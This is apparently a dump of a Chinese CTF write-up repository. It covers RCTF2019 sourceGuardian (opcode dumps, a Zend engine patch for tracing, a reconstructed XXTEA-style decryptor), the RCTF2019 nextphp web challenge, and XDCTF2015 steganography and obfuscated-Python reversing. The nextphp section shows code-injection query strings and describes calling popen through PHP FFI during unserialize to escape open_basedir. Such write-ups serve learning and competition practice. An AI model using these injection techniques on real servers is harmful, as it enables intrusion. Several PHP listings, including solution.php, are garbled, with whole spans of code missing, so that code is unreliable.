502 | 31 83* FETCH_DIM_R !1, !4
503 |
504 | 84* INIT_FCALL 'a'
505 | 85* SEND_VAR !7
506 | 86* SEND_VAR !10
507 | 87* SEND_VAR !5
508 | 88* SEND_VAR !9
509 | 89* SEND_VAR !8
510 | 90* SEND_VAR !3
511 | 91* DO_UCALL $65
512 |
513 | $z = $v[$n] = ($v[$n] + a($sum, $y, $z, $p, $e, $k)) & 0xffffffff;
514 |
515 | 92* ADD ~64, $65
516 | 93* BW_AND ~66, 4.29497e+9
517 | 94* ASSIGN_DIM $63 !1, !4
518 | 95* OP_DATA ~67
519 | 96* ASSIGN !5, $63
520 |
521 | 23 97* POST_DEC !6
522 | 98* IS_SMALLER 0, ~69
523 | 99* JMPNZ ~70, ->52
524 |
525 | }
526 |
527 | 33 100* ASSIGN !11, 0
528 | 101* JMP ->110
529 |
530 | 34 102* FETCH_DIM_R !1, !11
531 | $v[$i]
532 | 103* MOD !11, 4
533 | 104* FETCH_DIM_R !3, ~74
534 |
535 | 105* BW_XOR ~73, ~75
536 |
537 | 106* ASSIGN_DIM !1, !11
538 | 107* OP_DATA ~76
539 | 33 108* POST_INC !11
540 | 109* FREE ~77
541 | 110* COUNT !1
542 | 111* IS_SMALLER !11, ~78
543 | 112* JMPNZ ~79, ->102
544 |
545 |
546 | 36 113* IS_EQUAL !1, !2
547 | 114* RETURN ~80
548 | 37 115* RETURN null
549 | ```
550 |
551 | 似乎vld打印的反汇编的opcode有些地方有点问题(估计版本跟不上opcode变化的原因)。而且有vld不支持`$b`的常量赋值显示``的问题,我在`verify`里调`floor`的时候插一句`eval('var_dump($b);');`就能打出来了,大致如下:
552 | ```c
553 | if (strcmp(ZSTR_VAL(func->common.function_name), "floor") == 0) {
554 | char code[] = "var_dump($b);";
555 | zend_eval_stringl(code, sizeof(code)-1, NULL, "");
556 | }
557 | ```
558 |
559 | 上面人肉反编译的有些地方可能有小问题,结合前面`var_dump`出的`a`函数每次调用的参数可以debug一下还原出的`verify`代码验证下是否完全还原正确(由于`var_dump`打出来的函数调用的参数错位的问题一开始以为最后要`if ($q==1) break;`,结果想起来发现应该是最后轮`a`的参数没打出来的原因...),然后再逆向最终如下:
560 | ```php
561 | > 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z));
566 | }
567 |
568 | function verify($str) {
569 | $v = unpack("V\x2a", $str.str_repeat("\0", (4-(strlen($str)%4))&3));
570 | $v = array_values($v);
571 | $v[count($v)]=strlen($str);
572 | $k = [1752186684,1600069744,1953259880,1836016479];
573 | $b = [1029560848,2323109303,4208702724,3423862500,3597800709,2222997091,4137082249,2050017171,4045896598];
574 | $n = COUNT($v)-1;
575 | $z = $v[COUNT($v)-1];
576 | $q = floor(52/COUNT($v)+6);
577 | var_dump($v);
578 | for($sum=0; 0 < $q; $q--) {
579 |
580 | $sum = ($sum + 2654435769) & 0xffffffff;
581 | $e = ($sum >> 2) & 3;
582 | for ($p=0; $p<$n; $p++) {
583 | $z = $v[$p] = ((a($sum, $v[$p+1], $z, $p, $e, $k)+$v[$p]) & 0xffffffff);
584 | }
585 | //if ($q==1) break;
586 | $z = $v[$n] = ($v[$n] + a($sum, $v[0], $z, $p, $e, $k)) & 0xffffffff;
587 | }
588 | for($i=0;$i> 2) & 3;
617 |
618 | $v[$n] = ($v[$n] - a($sum, $v[0], $v[$n-1], $n, $e, $k)) & 0xffffffff;
619 |
620 | for ($p = $n-1; $p != 0; $p--) {
621 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $v[$p-1], $p, $e, $k)) & 0xffffffff;
622 | }
623 | if ($q == $end_q) $z = $v[COUNT($v)-1]; else $z = $v[$n];
624 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $z, $p, $e, $k)) & 0xffffffff;
625 |
626 | $sum = ($sum - 2654435769) & 0xffffffff;
627 | $e = ($sum >> 2) & 3;
628 | if ($q == $end_q) break;
629 | }
630 | assert($sum == 0);
631 | //var_dump($v);
632 | $ret = '';
633 | for ($i=0; $i < count($v)-1; $i++) {
634 | $ret .= pack('V',$v[$i]);
635 | }
636 | echo ($ret);
637 | }
638 | ```
639 |
640 | ### WEB - nextphp
641 |
642 | 上来scandir('.')然后读`preload.php`的代码:
643 | 
644 |
645 | 然后注意到是`PHP/7.4-dev`,查了update logs,关键信息都在这页上了:
646 | 
647 |
648 | 只要仔细读读这页里面给出的RFC链接,https://wiki.php.net/rfc/ffi , 就能懂FFI是什么东西,就是允许php代码直接调用C层面函数。
649 |
650 | 查查提到的相关ini设置:
651 | ```
652 | /?a=var_dump(ini_get("ffi.enable"));
653 | /?a=var_dump(ini_get("opcache.preload"));
654 | ```
655 |
656 | 
657 |
658 | 也就是说我们可以通过FFI调用c的popen来绕过open_basedir之类的限制,但是FFI为了安全只设置为了只能在`opcache.preload`用,然后preload里有unserialize那大概就是反序列化的时候调FFI了。
659 |
660 | exp的思路就是`FFI::new`个`char[999]`,`FFI::cdef`然后`popen`执行写入到buf,`zend_write`回显buf。
661 |
662 | 最终payload:
663 | 
664 |
665 | 然而这FFI也是坑,比如`zend_write`要先`clone`一下才能调而`sprintf`又不能clone要直接调啦,原本想让`escapeshellargs`和`shell_exec`交换一下函数指针也不行(`zif_*`貌似没有导出符号的原因,没仔细看),之类的种种坑,懒得搭本地环境看不到错误信息,深夜折腾exp了三小时也是蛋疼...
666 |
--------------------------------------------------------------------------------
/RCTF2019/nextphp/doc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/doc.png
--------------------------------------------------------------------------------
/RCTF2019/nextphp/ffi_enable.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/ffi_enable.png
--------------------------------------------------------------------------------
/RCTF2019/nextphp/final_payload.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/final_payload.png
--------------------------------------------------------------------------------
/RCTF2019/nextphp/scandir_fileGetContents.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/nextphp/scandir_fileGetContents.png
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/output3.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/output3.txt
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/output4.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/output4.txt
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/protected.opcode.txt:
--------------------------------------------------------------------------------
1 | filename: D:\php-src\x64\Release\protected.php
2 | function name: a
3 | number of ops: 24
4 | compiled vars: !0 = $q, !1 = $y, !2 = $z, !3 = $p, !4 = $e, !5 = $k
5 | line #* E I O op fetch ext return operands
6 | -------------------------------------------------------------------------------------
7 | 3 0* RECV
8 | 1* RECV
9 | 2* RECV
10 | 3* RECV
11 | 4* RECV
12 | 5* RECV
13 | 4 6* SR !2, 5
14 |
15 |
16 |
17 | 7* BW_AND ~6, 134217727
18 |
19 |
20 | 8* SL !1, 2
21 |
22 |
23 | 9* BW_XOR ~7, ~8
24 | ((($z >> 5) & 134217727) ^ ($y << 2))
25 |
26 | 10* SR !1, 3
27 |
28 |
29 |
30 | 11* BW_AND ~10, 536870911
31 |
32 |
33 | 12* SL !2, 4
34 | 13* BW_XOR ~11, ~12
35 | ((($y >> 3) & 536870911) ^ ($z << 4))
36 |
37 | 14* ADD ~9, ~13
38 | (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))
39 |
40 | 15* BW_XOR !0, !1
41 | ($q ^ $y)
42 |
43 | 16* BW_AND !3, 3
44 |
45 | 17* BW_XOR !4, ~16
46 |
47 |
48 | 18* FETCH_DIM_R !5, ~17
49 |
50 |
51 | 19* BW_XOR !2, ~18
52 | ($k[($e ^ ($p & 3))] ^ $z)
53 |
54 | 20* ADD ~15, ~19
55 | (($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z))
56 |
57 | 21* BW_XOR ~14, ~20
58 | 22* RETURN ~21
59 | 5 23* RETURN null
60 |
61 |
62 |
63 |
64 | $k = [1752186684,1600069744,1953259880,1836016479];
65 |
66 | function($q, $y, $z, $p, $e, $k) {
67 | return (((($z >> 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z));
68 | }
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/solution.php:
--------------------------------------------------------------------------------
1 | > 5) & 134217727) ^ ($y << 2))+((($y >> 3) & 536870911) ^ ($z << 4)))^(($q ^ $y)+($k[($e ^ ($p & 3))] ^ $z));
6 | }
7 |
8 | function verify($str) {
9 | $v = unpack("V\x2a", $str.str_repeat("\0", (4-(strlen($str)%4))&3));
10 | $v = array_values($v);
11 | $v[count($v)]=strlen($str);
12 | $k = [1752186684,1600069744,1953259880,1836016479];
13 | $b = [1029560848,2323109303,4208702724,3423862500,3597800709,2222997091,4137082249,2050017171,4045896598];
14 | $n = COUNT($v)-1;
15 | $z = $v[COUNT($v)-1];
16 | $q = floor(52/COUNT($v)+6);
17 | var_dump($v);
18 | for($sum=0; 0 < $q; $q--) {
19 |
20 | $sum = ($sum + 2654435769) & 0xffffffff;
21 | $e = ($sum >> 2) & 3;
22 | for ($p=0; $p<$n; $p++) {
23 | $z = $v[$p] = ((a($sum, $v[$p+1], $z, $p, $e, $k)+$v[$p]) & 0xffffffff);
24 | }
25 | //if ($q==1) break;
26 | $z = $v[$n] = ($v[$n] + a($sum, $v[0], $z, $p, $e, $k)) & 0xffffffff;
27 | }
28 | for($i=0;$i> 2) & 3;
57 |
58 | $v[$n] = ($v[$n] - a($sum, $v[0], $v[$n-1], $n, $e, $k)) & 0xffffffff;
59 |
60 | for ($p = $n-1; $p != 0; $p--) {
61 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $v[$p-1], $p, $e, $k)) & 0xffffffff;
62 | }
63 | if ($q == $end_q) $z = $v[COUNT($v)-1]; else $z = $v[$n];
64 | $v[$p] = ($v[$p] - a($sum, $v[$p+1], $z, $p, $e, $k)) & 0xffffffff;
65 |
66 | $sum = ($sum - 2654435769) & 0xffffffff;
67 | $e = ($sum >> 2) & 3;
68 | if ($q == $end_q) break;
69 | }
70 | assert($sum == 0);
71 | //var_dump($v);
72 | $ret = '';
73 | for ($i=0; $i < count($v)-1; $i++) {
74 | $ret .= pack('V',$v[$i]);
75 | }
76 | echo ($ret);
77 | }
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/sourceguardian.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/RCTF2019/sourceGuardian/sourceguardian.txt
--------------------------------------------------------------------------------
/RCTF2019/sourceGuardian/zend_changes.diff:
--------------------------------------------------------------------------------
1 |
2 |
3 | ----------------------------- Zend/zend_execute.h -----------------------------
4 | index d09a3f3..cd7612a 100644
5 | @@ -171,6 +171,20 @@ ZEND_API void zend_vm_stack_init(void);
6 | ZEND_API void zend_vm_stack_destroy(void);
7 | ZEND_API void* zend_vm_stack_extend(size_t size);
8 |
9 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args);
10 | +
11 | +ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type);
12 | +typedef zend_op_array *(*comp_file_t)(zend_file_handle *file_handle, int type);
13 | +static comp_file_t sg_comp_file = NULL;
14 | +
15 | +extern void vld_dump_oparray (zend_op_array *opa);
16 | +
17 | +static zend_op_array *new_zend_compile_file(zend_file_handle *file_handle, int type) {
18 | + zend_op_array *op_arr = sg_comp_file(file_handle, type);
19 | + vld_dump_oparray(op_arr);
20 | + return op_arr;
21 | +}
22 | +
23 | static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object)
24 | {
25 | call->func = func;
26 | @@ -182,6 +196,25 @@ static zend_always_inline void zend_vm_init_call_frame(zend_execute_data *call,
27 | ZEND_SET_CALL_INFO(call, 0, call_info);
28 | }
29 | ZEND_CALL_NUM_ARGS(call) = num_args;
30 | +
31 | + /*if (func && !func->common.function_name) {
32 | + vld_dump_oparray(&(func->op_array));
33 | + }*/
34 | + if (func && func->common.function_name) {
35 | + /*if (strcmp(ZSTR_VAL(func->common.function_name), "var_dump") == 0) {
36 | + if (!sg_comp_file) {
37 | + sg_comp_file = zend_compile_file;
38 | + zend_compile_file = new_zend_compile_file;
39 | + }
40 | + }*/
41 | + if (strcmp(ZSTR_VAL(func->common.function_name), "verify") == 0) {
42 | + vld_dump_oparray(&(func->op_array));
43 | + }
44 | + if (strcmp(ZSTR_VAL(func->common.function_name), "a") == 0) {
45 | + printf("FUNC2 %s\n", ZSTR_VAL(func->common.function_name));
46 | + php_my_compile_string(call, num_args);
47 | + }
48 | + }
49 | }
50 |
51 | static zend_always_inline zend_execute_data *zend_vm_stack_push_call_frame_ex(uint32_t used_stack, uint32_t call_info, zend_function *func, uint32_t num_args, zend_class_entry *called_scope, zend_object *object)
52 |
53 |
54 | ------------------------- Zend/zend_language_scanner.c -------------------------
55 | index 5d6d9ca..3acea8b 100644
56 | @@ -764,6 +764,7 @@ zend_op_array *compile_string(zval *source_string, char *filename)
57 | zval_ptr_dtor(&tmp);
58 | return NULL;
59 | }
60 | + //zend_write(Z_STRVAL_P(&tmp), Z_STRLEN(tmp));
61 |
62 | zend_save_lexical_state(&original_lex_state);
63 | if (zend_prepare_string_for_scanning(&tmp, filename) == SUCCESS) {
64 | @@ -777,6 +778,27 @@ zend_op_array *compile_string(zval *source_string, char *filename)
65 | return op_array;
66 | }
67 |
68 | +extern void php_var_dump(zval *struc, int level);
69 | +
70 | +ZEND_API void php_my_compile_string(zend_execute_data *call, uint32_t num_args) {
71 | + char code[] = "var_dump($v);";
72 | + zend_eval_stringl(code, sizeof(code)-1, NULL, "");
73 | +
74 | + zend_execute_data *execute_data = call;
75 | +
76 | + zval *args;
77 | + int argc;
78 | + int i;
79 | +
80 | + ZEND_PARSE_PARAMETERS_START(num_args, num_args)
81 | + Z_PARAM_VARIADIC('+', args, argc)
82 | + ZEND_PARSE_PARAMETERS_END();
83 | +
84 | + for (i = 0; i < argc; i++) {
85 | + printf("args[%d]: ", i);
86 | + php_var_dump(&args[i], 1);
87 | + }
88 | +}
89 |
90 | BEGIN_EXTERN_C()
91 | int highlight_file(char *filename, zend_syntax_highlighter_ini *syntax_highlighter_ini)
92 |
93 | ---------------------------- Zend/zend_vm_execute.h ----------------------------
94 | index 5355f7b..18f56ea 100644
95 | @@ -60814,9 +60814,16 @@ zend_leave_helper_SPEC_LABEL:
96 | zend_error_noreturn(E_CORE_ERROR, "Arrived at end of main loop which shouldn't happen");
97 | }
98 |
99 | +
100 | +#include "srm_oparray.c"
101 | +#include "set.c"
102 | +#include "branchinfo.c"
103 | +#include "vld.c"
104 | +
105 | ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value)
106 | {
107 | zend_execute_data *execute_data;
108 | + vld_dump_oparray(op_array);
109 |
110 | if (EG(exception) != NULL) {
111 | return;
112 |
--------------------------------------------------------------------------------
/XDCTF2015/README.md:
--------------------------------------------------------------------------------
1 | # XDCTF 2015 Writeup
2 |
3 | ## MISC 300
4 |
5 | 上来肯定先例行检查下LSB啦
6 |
7 | ```python
8 | >>> import Image
9 | >>> a=Image.open('zxczxc.png')
10 | >>> a.point(lambda i: 255 if i&1 else 0).show()
11 | ```
12 |
13 | 
14 |
15 | 可以发现第一列有藏着东西,仔细看看像素值
16 |
17 | ```python
18 | >>> for i in xrange(100):
19 | ... print a.getpixel((0,i))
20 | ...
21 | (252, 255, 254)
22 | (253, 252, 255)
23 | (254, 252, 252)
24 | (254, 253, 254)
25 | (252, 255, 253)
26 | (252, 253, 254)
27 | (253, 254, 252)
28 | (254, 252, 255)
29 | (253, 255, 253)
30 | (252, 253, 254)
31 | (254, 253, 252)
32 | (254, 253, 253)
33 | (253, 254, 253)
34 | (252, 253, 254)
35 | (252, 255, 252)
36 | ...
37 | ```
38 |
39 | 发现其在252~255之间,那就是用了最后两位藏数据
40 | 最后试了下是按像素顺序、RGB顺序、倒数第二第一位的顺序排列的01串
41 |
42 | ```python
43 | >>> s=''
44 | >>> for i in xrange(165):
45 | ... p=a.getpixel((0,i))
46 | ... for k in xrange(3):
47 | ... s+='1' if p[k]&2 else '0'
48 | ... s+='1' if p[k]&1 else '0'
49 | ...
50 | >>> s
51 | '001110010011100000100110001101000110011000100011011101000110100100100101011001000110001100110010001100010011000000101110001100100011011100101110001100010011000000101110001100010011100100110101001011010011001000110000001100010011010100101101001100000011100100101101001100010011011001010100001100000011010100111010001100100011000100111010001101010011001000101011001100000011001000111010001100000011000000111001001110000010011000110100011001100010001101110100011010010010010101100100011000110111100011011010101010110100100001001001001011100100100110101011001011100010111000110001010011100100111111001100001100110100100000101111001100100010100111001000101010001101010001001101110011010100101100110110010010000011000111010110001101010011011110101110001010001101000100110101110011000010101111001001110101110011010111001100001101010100100101001111101011010000010100000000010110100111000000001111000101110011100100111000001001100011010001100110001000110111010001101001001001010110010001100011111111'
52 | >>> def tostr(s):
53 | ... ret=''
54 | ... for i in xrange(0, len(s), 8):
55 | ... ret+=chr(int(s[i:i+8],2))
56 | ... return ret
57 | ...
58 | >>> tostr(s)
59 | '98&4f#ti%dc210.27.10.195-2015-09-16T05:21:52+02:0098&4f#ti%dcx\xda\xabHI.I\xab..1NO\xcc3H/2)\xc8\xa8\xd4M\xcdK6H1\xd657\xae(\xd15\xcc+\xc9\xd75\xcc5IO\xad\x05\x00Zp\x0f\x1798&4f#ti%dc?'
60 | >>>
61 | ```
62 |
63 | 可以看到210.27.10.195-2015-09-16T05:21:52+02:00以及分隔符样的东西98&4f#ti%dc
64 | 一开始还以为那个IP 210.27.10.195有什么东西...
65 | 然后队友说这是zlib compressed才注意到第二个分隔符后有x\xda这个头.....
66 |
67 | ```python
68 | >>> import zlib
69 | >>> zlib.decompress('x\xda\xabHI.I\xab..1NO\xcc3H/2)\xc8\xa8\xd4M\xcdK6H1\xd657\xae(\xd15\xcc+\xc9\xd75\xcc5IO\xad\x05\x00Zp\x0f\x1798&4f#ti%dc')
70 | 'xdctf{st3gan0gr4phy-enc0d3-73xt-1nto-1m4ge}'
71 | ```
72 |
73 | 得到Flag
74 |
75 |
76 |
77 | ## REVERSE 300
78 |
79 | ### 尝试
80 |
81 | 原源代码:
82 | ```python
83 | (lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1] for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [(lambda data, buf: (lambda __l: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this() for __l['buf'] in [(setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0] for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))]][0] for __l['data'], __l['buf'] in [(data, buf)]][0])({}), 'encode')]][0] for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0] for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)]][0])({}), 'setbit')]][0] for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
84 | ```
85 |
86 | 一大堆lambda...嗯,其实这题还是很简单的...
87 |
88 | 在本地尝试执行,并查看globals(),得
89 |
90 | ```python
91 | Traceback (most recent call last):
92 | File "", line 1, in
93 | File "", line 1, in
94 | IOError: [Errno 2] No such file or directory: 'flag.txt'
95 | >>> globals()
96 | {'string': , '__builtins__': , '__package__': None, 'i': 654, 'table': '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~', 'encode': , '__name__': '__main__', 'getbit': , '__doc__': None, 'setbit': }
97 | ```
98 |
99 | 也就是import string,并生成了encode(), getbit(), setbit()的函数,还有一个table
100 | 下面还是先介绍下背景知识吧....
101 |
102 | ### 函数式编程与lambda运算
103 |
104 | 这个程序跟函数式编程还是有一定关系的,当然不会也能做...
105 | 下面就是这个.py的主要trick
106 |
107 | #### 等量代换(实现where语句,scope内赋值)
108 |
109 | 不妨先看下这样的例子:
110 | `[y for y in [1]] == [1]`
111 |
112 | 再看个复杂点的
113 | ```python
114 | [x for x in [range(3)]] == [x for x in [[0, 1, 2]]] == [ [0,1,2] ]
115 | ```
116 |
117 | 如果把最外层的方括号看成一个scope,也就是如同C语言里的{}所起的作用一样,那么这句话就是一个等量代换,把这句话变形一下易于理解,即:
118 | ```
119 | [
120 | x
121 | for x in [range(3)]
122 | ]
123 | ```
124 |
125 | 去掉in,得
126 |
127 | ```
128 | [
129 | x
130 | for x = range(3)
131 | ]
132 | ```
133 |
134 | 把最外层[]理解成c语言的scope
135 |
136 | ```
137 | {
138 | x = range(3)
139 | 返回 x
140 | }
141 | ```
142 |
143 | 求值得
144 |
145 | ```
146 | {
147 | [0, 1, 2]
148 | }
149 | ```
150 |
151 | 把scope变回来,即得`[ [0,1,2] ]`
152 | 换句话,我们得到两个等量代换式:
153 |
154 | `[blahblah(x) for x in [y] ] == [blahblah(x) where x = y]`
155 | `[blahblah(x) for x in [[y]][0] ] == [blahblah(x) where x = y]`
156 |
157 | 这样相当于haskell的where语句
158 |
159 | 也就是说,可以用这种形式实现在scope内的赋值操作,在scope内把x赋值为y
160 | 比如说,要想得到`[(0, 0)]`我们可以这样写:
161 | `[(x, y) for x in [0] for y in [[0]][0]] == [(0, 0)]`
162 |
163 | ### lambda calculus beta规约(实现let语句)
164 |
165 | 以下是lambda calculus的beta规约定理的例子:
166 |
167 | ```python
168 | (lambda j: j*2)(3) == (3*2) == 6
169 | ```
170 |
171 | 如果把lambda运算内部视为一个scope,那么就相当于
172 | ```
173 | lambda:
174 | let j = 3:
175 | return j*2
176 | ```
177 |
178 |
179 | #### 开始逆向
180 |
181 | trick讲完了,就可以粗粗整理下代码了,加些赋值符号:
182 |
183 | ```python
184 | (lambda __g, __y: [[[[[[[(fin.close(), [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda:
185 |
186 | (lambda __i: [(ss.append(c), (sss.append(0), __this())[1])[1]
187 | for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())
188 |
189 | (next(__items, __sentinel)))())(iter(s), lambda: [[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __value: [__this() for __g['sssss'] in [((lambda __ret: __g['sssss'] + __value if __ret is NotImplemented else __ret)(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value)))]][0])(chr(c)) for __g['c'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(ssss), lambda: [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], [])
190 |
191 | for __g['sssss'] in [('')]][0]
192 | for __g['ssss'] in [(encode(ss, sss))]][0], [])
193 | for __g['sss'] in [([])]][0]
194 | for __g['ss'] in [([])]
195 |
196 | ][0])[1]
197 |
198 | for __g['s'] in [(fin.read().strip())]][0]
199 |
200 | for __g['fin'] in [(open('flag.txt', 'r'))]][0]
201 |
202 | for __g['encode'], encode.__name__ in [
203 |
204 | (lambda data, buf:
205 | (lambda __items, __after, __sentinel:
206 | __y(lambda __this: lambda:
207 | (lambda __i:
208 | [data['i'] = ((table.index(data['i']) + 1))
209 | if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])),
210 |
211 | lambda: (lambda __items, __after, __sentinel:
212 | __y(lambda __this: lambda: (lambda __i: [[[
213 |
214 | __this() for __l['buf'] in [(
215 | j=(i / 6) * 8 + (i % 6)
216 | setbit(buf, i, getbit(data, j))
217 |
218 | if __i is not __sentinel else __after())(next(__items, __sentinel)))())
219 |
220 | (iter(xrange((__l['_len'] * 6))), lambda: __l['buf'], []), []) for __l['_len'] in [(len(__l['data']))] )
221 |
222 | ]][0]
223 |
224 | for __g['getbit'], getbit.__name__ in [(lambda p, pos: (lambda __l: [[[((__l['p'][__l['cpos']] >> __l['bpos']) & 1) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'] in [(p, pos)]][0])({}), 'getbit')]][0]
225 |
226 | for __g['setbit'], setbit.__name__ in [(lambda p, pos, value: (lambda __l: [[[(lambda __target, __slice, __value: [(lambda __target, __slice, __value: [__l['p'] for __target[__slice] in [((lambda __old: (lambda __ret: __old | __value if __ret is NotImplemented else __ret)(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (__l['value'] << __l['bpos'])) for __target[__slice] in [((lambda __old: (lambda __ret: __old & __value if __ret is NotImplemented else __ret)(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice]))]][0])(__l['p'], __l['cpos'], (~(1 << __l['bpos']))) for __l['bpos'] in [((__l['pos'] % 8))]][0] for __l['cpos'] in [((__l['pos'] / 8))]][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)]][0])({}), 'setbit')]][0]
227 |
228 | for __g['table'] in [(string.printable.strip())]][0] for __g['string'] in [(__import__('string', __g, __g))]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
229 |
230 | ```
231 |
232 | 核心部分我又整理了一次:
233 | ```python
234 | [(fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [(open('flag.enc', 'wb+'))]][0], []) for __g['sssss'] in [('')]][0] for __g['ssss'] in [(encode(ss, sss))]][0], []) for __g['sss'] in [([])]][0] for __g['ss'] in [([])]][0])[1] for __g['s'] in [(fin.read().strip())]][0] for __g['fin'] in [(open('flag.txt', 'r'))]][0] for __g['encode'], encode.__name__ in [
235 | (lambda data, buf: (lambda __l: [[
236 | (lambda __items, __after, __sentinel: __y(
237 | lambda __this: lambda:
238 | (lambda __i: [[__this() for __l['data'][__l['i']] in [((table.index(__l['data'][__l['i']]) + 1))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [[[__this()
239 | for __l['buf'] in [(
240 | setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j'])))]][0]
241 | for __l['j'] in [((((__l['i'] / 6) * 8) + (__l['i'] % 6)))]][0]
